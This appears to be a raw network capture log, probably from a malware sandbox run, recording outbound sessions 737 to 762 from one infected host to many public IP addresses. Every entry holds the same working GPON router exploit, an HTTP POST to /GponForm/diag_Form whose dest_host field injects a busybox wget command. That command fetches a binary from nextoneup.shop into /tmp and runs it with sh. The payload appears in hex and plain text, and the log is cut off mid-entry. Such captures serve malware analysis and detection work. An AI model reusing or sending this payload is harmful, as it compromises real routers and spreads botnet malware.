737	192.168.2.13	43634	210.161.190.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820435047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	36260	42.178.244.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820458889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	56484	202.2.144.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.820487976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	33946	148.159.146.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829632998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	55048	109.95.34.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829674006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	37054	210.109.214.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829682112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	38762	79.206.224.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829705954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	32918	2.206.235.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829709053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	37322	94.139.78.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829735041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	51878	210.233.78.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:07.829740047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	54046	2.20.86.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837048054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	52524	212.16.231.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837068081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	60688	109.98.141.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837097883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	37756	42.164.214.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837120056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	60792	2.145.117.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837168932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	36524	109.13.131.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837181091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	46500	37.124.168.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837186098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	41406	37.71.177.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837208986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	52028	94.164.254.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837208986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	40274	210.168.215.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837229013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	38860	202.21.155.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837234020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	35394	117.140.60.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837254047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	48832	109.158.51.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837259054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	42210	37.180.183.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:10.837295055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	44600	210.72.172.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846474886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	45352	148.204.216.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.846502066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 